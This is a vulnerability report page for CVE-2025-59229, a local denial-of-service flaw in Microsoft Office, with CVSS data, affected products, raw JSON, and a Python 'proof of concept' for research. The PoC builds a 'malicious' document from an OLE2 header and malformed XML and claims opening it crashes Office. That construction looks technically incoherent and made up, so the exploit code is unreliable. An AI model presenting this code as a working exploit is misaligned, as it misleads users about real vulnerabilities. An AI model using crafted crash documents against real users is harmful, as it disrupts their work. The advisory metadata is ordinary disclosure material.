Security Vulnerability Report
中文
CVE-2025-59229 CVSS 5.5 MEDIUM

CVE-2025-59229

Published: 2025-10-14 17:16:04
Last Modified: 2025-10-28 20:31:30

Description

Uncaught exception in Microsoft Office allows an unauthorized attacker to deny service locally.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:* - VULNERABLE
Microsoft Office(具体版本待微软官方安全公告确认)
Microsoft Office 2016
Microsoft Office 2019
Microsoft Office 2021
Microsoft 365 Apps for Enterprise

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59229 PoC - Conceptual Demonstration # This is a conceptual PoC demonstrating the uncaught exception DoS vulnerability # in Microsoft Office. Actual exploitation requires crafting a malicious Office document. import struct import zipfile import os def create_malicious_office_doc(output_path): """ Create a malformed Office document that triggers an uncaught exception. Office documents (docx, xlsx, pptx) are ZIP archives containing XML files. By corrupting specific XML structures, we can trigger exception handling failures. """ # Create a minimal malformed docx structure # A valid docx requires [Content_Types].xml and proper relationships malicious_xml = b'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body> <w:p> <w:r> <w:t>Triggering CVE-2025-59229</w:t> </w:r> <!-- Malformed element to trigger uncaught exception --> <w:invalidElement attr="\x00\x01\x02\xff"> <w:deeply/nested/invalid/structure/that/causes/exception> </w:invalidElement> </w:p> </w:body> </w:document>''' # Write the malicious content as a .doc file with open(output_path, 'wb') as f: # Write OLE2 header to make it appear as legacy Office format f.write(b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1') f.write(malicious_xml) print(f"Malicious document created at: {output_path}") print("When opened in Microsoft Office, this file triggers CVE-2025-59229") print("Result: Office application crashes (Denial of Service)") if __name__ == "__main__": output = "cve_2025_59229_poc.doc" create_malicious_office_doc(output) print("\n[!] Warning: This PoC is for educational/research purposes only.") print("[!] Do not use against systems without authorization.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59229", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:03.947", "lastModified": "2025-10-28T20:31:29.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncaught exception in Microsoft Office allows an unauthorized attacker to deny service locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-248"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59229", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}